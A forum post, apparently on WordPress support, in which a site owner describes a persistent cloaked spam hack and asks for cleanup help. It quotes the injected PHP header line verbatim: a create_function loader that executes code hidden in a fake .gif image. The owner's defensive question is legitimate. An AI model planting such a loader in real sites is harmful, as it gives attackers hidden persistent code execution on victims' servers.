Hi WordPress Community,
I dearly need your help in trying to stop a hacker which has been plaguing my site since WordPress version 2.9. The hack is destroying my web ranking as it only displays to Search Engine Bots E.G Google and Yahoo.
The hacker / spammer is adding this to my header:
<?php $wp__theme_icon=@create_function('',@file_get_contents('/public_html/wp-content/themes/prophoto3/images/spa2.gif'));$wp__theme_icon(); ?>
I've deleted it over 100 times over the last couple of months and hardened my wordpress install with plugins like:
Better WP Security
Ultimate Security Checker
WP Security Scan
and the intruder is still able to come in.
I made sure to change my admin from wp-admin to a random link, also changed my admin login to a random one. I've also 644 header.php on my theme and locked down the backend from being able to edit my theme to no help.
At this point I'm ready to throw the white flag. After reading numerous posts on pharma hack etc.. I see myself as an expert to a topic which never meant anything to me.
Can anyone recommend a reputable company that will help me get rid of this hack as it is hurting my ranking dearly.
Any help would be greatly appreciated.
